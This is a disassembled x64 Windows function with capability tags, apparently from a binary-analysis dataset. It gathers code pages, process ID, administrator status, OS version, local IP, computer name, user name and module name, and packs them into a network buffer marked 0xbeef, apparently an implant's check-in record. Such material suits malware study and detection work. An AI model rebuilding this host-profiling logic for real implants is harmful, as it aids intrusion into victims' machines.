Function at 0x180001700
Capabilities:
Get hostname
Get session user name
Get token membership
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x920]
sub rsp, 0xa20
mov rax, qword [0x180014008]
xor rax, rsp
mov qword [rbp + 0x910], rax
mov rdi, rcx
mov qword [rcx + 8], rdx
mov dword [rcx + 0x14], r8d
mov rbx, rdx
mov ecx, dword [0x180016034]
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rbx], eax
mov ecx, dword [rdi + 0x10]
call qword [sym.imp.WS2_32.dll_htonl]
inc dword [0x180016034]
mov dword [rbx + 4], eax
mov ecx, dword [rdi + 0x10]
mov rax, qword [0x181776728]
add ecx, 8
mov dword [rdi + 0x10], ecx
movups xmm0, xmmword [rax + 8]
lea eax, [rcx + 0x10]
cmp eax, dword [rdi + 0x14]
jg 0x18000179d
movsxd rax, ecx
add rax, qword [rdi + 8]
movups xmmword [rax], xmm0
mov ecx, dword [rdi + 0x10]
add ecx, 0x10
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
lea r13, [0x1800111a8]
mov rax, qword [rcx]
cmp rax, r13
jne 0x18000201e
call qword [sym.imp.KERNEL32.dll_GetACP]
mov edx, eax
movsxd rcx, dword [rdi + 0x10]
lea eax, [rcx + 2]
cmp eax, dword [rdi + 0x14]
jg 0x1800017ee
mov rax, rcx
add rax, qword [rdi + 8]
mov word [rax], dx
mov ecx, dword [rdi + 0x10]
add ecx, 2
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x180002029
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
mov edx, eax
movsxd rcx, dword [rdi + 0x10]
lea eax, [rcx + 2]
cmp eax, dword [rdi + 0x14]
jg 0x180001838
mov rax, rcx
add rax, qword [rdi + 8]
mov word [rax], dx
mov ecx, dword [rdi + 0x10]
add ecx, 2
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x18]
cmp rax, r13
jne 0x180002034
mov eax, dword [rcx + 8]
lea rbx, [rcx + 8]
test eax, eax
jne 0x18000186d
lea edx, [rax + 4]
mov rcx, rbx
call fcn.180007da0
and dword [rbx], 0x7ffffffe
mov eax, dword [rbx]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 4]
cmp ecx, dword [rdi + 0x14]
jg 0x1800018a3
mov rcx, rdx
add rcx, qword [rdi + 8]
mov dword [rcx], eax
mov ecx, dword [rdi + 0x10]
add ecx, 4
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x18000203b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 4]
cmp ecx, dword [rdi + 0x14]
jg 0x1800018f2
mov rcx, rdx
add rcx, qword [rdi + 8]
mov dword [rcx], eax
mov ecx, dword [rdi + 0x10]
add ecx, 4
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_htons]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 2]
cmp ecx, dword [rdi + 0x14]
jg 0x180001929
mov rcx, rdx
add rcx, qword [rdi + 8]
mov word [rcx], ax
mov ecx, dword [rdi + 0x10]
add ecx, 2
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
xor r14d, r14d
mov rax, qword [rcx]
mov rdx, qword [rax + 0x28]
cmp rax, r13
jne 0x180002043
lea rax, [rsp + 0x68]
mov dword [rsp + 0x70], r14d
mov qword [rsp + 0x50], rax
lea r8d, [r14 + 0x20]
mov dword [rsp + 0x48], r14d
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], r14d
mov r9d, 0x220
mov dword [rsp + 0x38], r14d
mov dl, 2
mov dword [rsp + 0x30], r14d
mov bl, 6
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov word [rsp + 0x74], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
mov ecx, eax
test eax, eax
je 0x1800019c9
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove ecx, r14d
mov dword [rsp + 0x60], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [rsp + 0x60]
test cl, cl
movzx eax, bl
mov edx, reloc.WS2_32.dll_ntohl
cmovne eax, edx
movsxd rcx, dword [rdi + 0x10]
cmp ecx, dword [rdi + 0x14]
jge 0x1800019fd
add rcx, qword [rdi + 8]
mov byte [rcx], al
mov ecx, dword [rdi + 0x10]
inc ecx
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x18000204a
xor edx, edx
lea rcx, [rbp + 0x714]
mov r8d, 0x90
call sub.msvcrt.dll_memset
lea rcx, [rbp + 0x710]
mov dword [rbp + 0x710], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
movzx eax, byte [rbp + 0x714]
movsxd rcx, dword [rdi + 0x10]
cmp ecx, dword [rdi + 0x14]
jge 0x180001a69
add rcx, qword [rdi + 8]
mov byte [rcx], al
mov ecx, dword [rdi + 0x10]
inc ecx
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x180002052
xor edx, edx
lea rcx, [rbp + 0x714]
mov r8d, 0x90
call sub.msvcrt.dll_memset
lea rcx, [rbp + 0x710]
mov dword [rbp + 0x710], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
movzx eax, byte [rbp + 0x718]
movsxd rcx, dword [rdi + 0x10]
cmp ecx, dword [rdi + 0x14]
jge 0x180001ad5
add rcx, qword [rdi + 8]
mov byte [rcx], al
mov ecx, dword [rdi + 0x10]
inc ecx
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x18000205a
xor edx, edx
lea rcx, [rbp + 0x714]
mov r8d, 0x90
call sub.msvcrt.dll_memset
lea rcx, [rbp + 0x710]
mov dword [rbp + 0x710], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
movzx eax, byte [rbp + 0x71c]
movzx ecx, al
call qword [sym.imp.WS2_32.dll_htons]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 2]
cmp ecx, dword [rdi + 0x14]
jg 0x180001b52
mov rcx, rdx
add rcx, qword [rdi + 8]
mov word [rcx], ax
mov ecx, dword [rdi + 0x10]
add ecx, 2
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x180002062
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
sar rax, 0x20
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 4]
cmp ecx, dword [rdi + 0x14]
jg 0x180001ba6
mov rcx, rdx
add rcx, qword [rdi + 8]
mov dword [rcx], eax
mov ecx, dword [rdi + 0x10]
add ecx, 4
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x18000206a
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 4]
cmp ecx, dword [rdi + 0x14]
jg 0x180001bf5
mov rcx, rdx
add rcx, qword [rdi + 8]
mov dword [rcx], eax
mov ecx, dword [rdi + 0x10]
add ecx, 4
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
cmp rax, r13
jne 0x180002072
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 4]
cmp ecx, dword [rdi + 0x14]
jg 0x180001c44
mov rcx, rdx
add rcx, qword [rdi + 8]
mov dword [rcx], eax
mov ecx, dword [rdi + 0x10]
add ecx, 4
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x60]
cmp rax, r13
jne 0x18000207a
mov ecx, 0x202
lea rdx, [rbp - 0x80]
mov esi, r14d
mov ebx, r14d
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jns 0x180001c7e
mov esi, 0xffffffff
jmp 0x180001d66
mov edx, 2
mov dword [rsp + 0x28], r14d
mov ecx, edx
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x180001d60
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x120]
mov dword [rsp + 0x28], 0x5f0
mov edx, 0x4004747f
mov qword [rsp + 0x20], rax
mov rcx, r15
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x180001d00
mov ecx, dword [rsp + 0x70]
movabs rax, 0xd79435e50d79435f
mul rcx
mov rbx, rdx
shr rbx, 6
movsxd r9, ebx
mov r8d, r14d
test ebx, ebx
jle 0x180001d57
mov rcx, r14
lea rdx, [rbp + 0x120]
nop dword [rax]
nop dword [rax + rax]
movsxd rax, r8d
imul r10, rax, 0x4c
mov eax, dword [rdx]
and al, 5
cmp al, 1
je 0x180001d4f
inc r8d
inc rcx
add rdx, 0x4c
cmp rcx, r9
jl 0x180001d20
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x180001d66
mov esi, dword [rbp + r10 + 0x128]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_htonl]
movsxd rdx, dword [rdi + 0x10]
lea ecx, [rdx + 4]
cmp ecx, dword [rdi + 0x14]
jg 0x180001d9c
mov rcx, rdx
add rcx, qword [rdi + 8]
mov dword [rcx], eax
mov ecx, dword [rdi + 0x10]
add ecx, 4
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 8]
mov dword [rcx + 4], eax
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x70]
cmp rax, r13
jne 0x180002083
xor edx, edx
mov dword [rsp + 0x60], 0x100
mov r8d, 0x100
lea rcx, [rbp + 0x710]
call sub.msvcrt.dll_memset
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x710]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x180001dea
mov r12, r14
jmp 0x180001e1e
mov ecx, dword [rsp + 0x60]
inc rcx
call qword [sym.imp.msvcrt.dll_malloc]
mov r12, rax
lea rcx, [rbp + 0x710]
mov rdx, r12
lea rax, [rbp + 0x710]
sub rdx, rax
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001e10
mov rcx, qword [0x181776720]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x68]
cmp rax, r13
jne 0x18000208d
xor edx, edx
mov dword [rsp + 0x70], 0x100
mov r8d, 0x100
lea rcx, [rbp + 0x120]
call sub.msvcrt.dll_memset
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x180001e6c
mov r15, r14
jmp 0x180001e9e
mov ecx, dword [rsp + 0x70]
inc rcx
call qword [sym.imp.msvcrt.dll_malloc]
mov r15, rax
lea rcx, [rbp + 0x120]
mov rdx, r15
lea rax, [rbp + 0x120]
sub rdx, rax
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001e90
mov rcx, qword [0x181776720]
mov rsi, 0xffffffffffffffff
mov rax, qword [rcx]
mov rdx, qword [rax + 0x78]
cmp rax, r13
jne 0x180002014
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x100
call sub.msvcrt.dll_memset
mov r8d, 0x100
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180001f2e
lea edx, [rsi + 0x5d]
lea rcx, [rbp - 0x80]
call qword [sym.imp.msvcrt.dll_strrchr]
mov rbx, rax
test rax, rax
je 0x180001efb
inc rbx
mov rcx, rsi
nop
inc rcx
cmp byte [rbx + rcx], r14b
jne 0x180001f00
inc rcx
call qword [sym.imp.msvcrt.dll_malloc]
mov rcx, rax
mov r14, rax
sub rcx, rbx
nop dword [rax + rax]
movzx eax, byte [rbx]
mov byte [rbx + rcx], al
lea rbx, [rbx + 1]
test al, al
jne 0x180001f20
xor edx, edx
lea rcx, [rbp + 0x810]
mov r8d, 0x100
call sub.msvcrt.dll_memset
mov r9, r12
mov qword [rsp + 0x28], r14
lea r8, str._s_t_s_t_s
mov qword [rsp + 0x20], r15
mov edx, 0x100
lea rcx, [rbp + 0x810]
call fcn.180001010
lea rax, [rbp + 0x810]
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x180001f70
movsxd rcx, dword [rdi + 0x10]
mov eax, 0x3a
cmp rsi, rax
cmova esi, eax
lea eax, [rsi + rcx]
cmp eax, dword [rdi + 0x14]
jg 0x180001fbb
add rcx, qword [rdi + 8]
lea rdx, [rbp + 0x810]
movsxd r8, esi
call sub.msvcrt.dll_memcpy
mov ecx, dword [rdi + 0x10]
add ecx, esi
mov dword [rdi + 0x10], ecx
add ecx, 0xfffffff8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, qword [rdi + 8]
mov dword [rdx + 4], eax
mov rcx, r12
call qword [sym.imp.msvcrt.dll_free]
mov rcx, r15
call qword [sym.imp.msvcrt.dll_free]
mov rcx, r14
call qword [sym.imp.msvcrt.dll_free]
mov ecx, 0xbeef
call qword [sym.imp.WS2_32.dll_htonl]
mov rcx, qword [rdi + 8]
mov dword [rcx], eax
mov eax, dword [rdi + 0x10]
mov rcx, qword [rbp + 0x910]
xor rcx, rsp
call fcn.18000eb80
mov rbx, qword [rsp + 0xa70]
add rsp, 0xa20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call rdx
mov r14, rax
jmp 0x180001f2e
call qword [rax + reloc.WS2_32.dll_htonl]
movzx edx, ax
jmp 0x1800017bf
call qword [rax + 0x10]
movzx edx, ax
jmp 0x180001809
call rdx
jmp 0x18000186d
call qword [rax + 0x20]
jmp 0x1800018bc
call rdx
jmp 0x1800019d6
call qword [rax + 0x30]
jmp 0x180001a42
call qword [rax + 0x38]
jmp 0x180001aae
call qword [rax + 0x40]
jmp 0x180001b1a
call qword [rax + 0x48]
jmp 0x180001b70
call qword [rax + 0x50]
jmp 0x180001bbf
call qword [rax + 0x58]
jmp 0x180001c0e
call rdx
mov esi, eax
jmp 0x180001d66
call rdx
mov r12, rax
jmp 0x180001e1e
call rdx
mov r15, rax
jmp 0x180001e9e